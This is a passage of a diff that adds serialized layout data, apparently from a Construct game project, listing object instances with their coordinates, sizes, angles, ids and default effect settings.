+ 602.89501953125,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4696,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2661.877685546875,
+ 320.5538024902344,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 4697,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1524,
+ 754,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4698,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 526,
+ 754,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4699,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 75,
+ 561,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4700,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 262,
+ 599,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 4701,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 276,
+ 570,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 4702,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 155,
+ 566,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4703,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5128,
+ 938,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4704,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4899,
+ 1173,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4705,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3977,
+ 655,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4706,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4273,
+ 805,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4707,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2792,
+ 602,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4709,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2589,
+ 616,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 4712,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2618,
+ 653,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 4713,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2366,
+ 643,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 4714,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 617,
+ 852,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 4715,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1183,
+ 798,
+ 0,
+ 184,
+ 173,
+ 0,
+ 0,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ 0,
+ 0,
+ []
+ ],
+ 535,
+ 4716,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1370,
+ 745,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4717,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 451,
+ 746,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4718,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4557.07275390625,
+ 709.4039916992188,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1818251013755798,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 4719,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3496,
+ 771,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 4720,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5083,
+ 762,
+ 0,
+ 71,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.9718309640884399,
+ 0.5185185074806213,
+ 0,
+ 0,
+ []
+ ],
+ 351,
+ 4722,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 3,
+ 0
+ ],
+ [
+ 0,
+ 0,
+ 27,
+ "5083,800",
+ 0,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5085,
+ 778,
+ 0,
+ 26,
+ 123,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5040650367736816,
+ 0,
+ 0,
+ []
+ ],
+ 350,
+ 4723,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -492,
+ 1003,
+ 0,
+ 270,
+ 204,
+ 0,
+ 0,
+ 1,
+ 0.4666666686534882,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 333,
+ 4724,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -849,
+ 1068,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 4725,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1179,
+ 949,
+ 0,
+ 514,
+ 386,
+ 0,
+ 0.4363323152065277,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 321,
+ 4738,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1370,
+ 4830,
+ 0,
+ 31,
+ 31,
+ 0,
+ 0,
+ 1,
+ 0.5161290168762207,
+ 0.5161290168762207,
+ 0,
+ 0,
+ []
+ ],
+ 199,
+ 4739,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -1068,
+ 3578,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 202,
+ 4751,
+ [],
+ [],
+ [
+ 20,
+ 360,
+ 1,
+ 200,
+ 32,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1037,
+ 3220,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 207,
+ 4752,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 15,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1382,
+ 615,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 313,
+ 4753,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -138,
+ -345,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 318,
+ 4829,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -365,
+ 1005,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 319,
+ 4830,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1194,
+ 617,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 4831,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -896,
+ 256,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 322,
+ 4833,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 154,
+ 562,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 328,
+ 4834,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 152,
+ 562,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 329,
+ 4841,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 154,
+ 537,
+ 0,
+ 61,
+ 62,
+ 0,
+ 0,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 324,
+ 4845,
+ [],
+ [
+ [
+ 0
+ ],
+ [
+ 400,
+ 800,
+ 50,
+ 400,
+ 600,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ],
+ [
+ 0,
+ 6,
+ 0,
+ 0.2,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 154,
+ 538,
+ 0,
+ 56,
+ 52,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 344,
+ 4847,
+ [],
+ [
+ [],
+ [
+ 0,
+ 2,
+ 1,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5086,
+ 786,
+ 0,
+ 13,
+ 1512,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 352,
+ 4848,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -416,
+ 221,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 354,
+ 4851,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 20,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -413,
+ 630,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 4852,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 130.9820098876953,
+ 706.6041870117188,
+ 0,
+ 441.6896057128906,
+ 277.7109375,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4853,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2453,
+ 525.3271484375,
+ 0,
+ 161.224365234375,
+ 30,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.4934210479259491,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 366,
+ 4861,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2518.89892578125,
+ 438,
+ 0,
+ 160.202392578125,
+ 30,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5333333611488342,
+ 0,
+ 0,
+ []
+ ],
+ 367,
+ 4869,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2583,
+ 527.1318969726562,
+ 0,
+ 161.7362365722656,
+ 30,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5333333611488342,
+ 0,
+ 0,
+ []
+ ],
+ 368,
+ 4870,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2453,
+ 525.8759155273438,
+ 0,
+ 12.728271484375,
+ 152.4375915527344,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 369,
+ 4871,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2519.41552734375,
+ 437,
+ 0,
+ 148.412841796875,
+ 12.87200927734375,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 370,
+ 4872,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2584,
+ 526.8759155273438,
+ 0,
+ 13.25102996826172,
+ 153.9715118408203,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 371,
+ 4875,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -194,
+ 81,
+ 0,
+ 416,
+ 33,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.01339285727590323,
+ 0.2121212184429169,
+ 0,
+ 0,
+ []
+ ],
+ 372,
+ 4876,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 0.5,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -202,
+ 285,
+ 0,
+ 395,
+ 9,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 373,
+ 4879,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3120.0810546875,
+ 295.099365234375,
+ 0,
+ 57.18288803100586,
+ 57.18288803100586,
+ 0,
+ 0,
+ 1,
+ 0.5070422291755676,
+ 0.5070422291755676,
+ 0,
+ 0,
+ []
+ ],
+ 375,
+ 4880,
+ [
+ [
+ 0
+ ]
+ ],
+ [
+ [
+ 330,
+ 1500,
+ 1500,
+ 400,
+ 2000,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2974.655029296875,
+ 262.1217956542969,
+ 0,
+ 24.95556640625,
+ 140.5006713867188,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 376,
+ 4881,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3250.30517578125,
+ 261.1455688476563,
+ 0,
+ 25.62890625,
+ 135.7992553710938,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 377,
+ 4882,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3120.0810546875,
+ 283.099365234375,
+ 0,
+ 49.11710357666016,
+ 32.80466461181641,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 378,
+ 4883,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3099.0810546875,
+ 298.099365234375,
+ 0,
+ 9.54636001586914,
+ 42.17941665649414,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 4884,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3141.0810546875,
+ 298.099365234375,
+ 0,
+ 9.54636001586914,
+ 43.21585464477539,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 4885,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -377,
+ 1413,
+ 0,
+ 197,
+ 222,
+ 0,
+ 0,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ 0,
+ 0,
+ []
+ ],
+ 380,
+ 4889,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 31,
+ 608,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4890,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -341,
+ 800,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 477,
+ 4898,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 31,
+ 704,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4899,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 31,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 4900,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2184,
+ 2331,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 4902,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 123,
+ 608,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4903,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 215,
+ 608,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4905,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 307,
+ 608,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4906,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 399,
+ 704,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4907,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 123,
+ 704,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4908,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 215,
+ 704,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4909,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 307,
+ 704,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4912,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 399,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4929,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 491,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4930,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 123,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 4931,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 215,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 4932,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 307,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 4933,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 583,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4934,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 675,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4935,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1101.8134765625,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
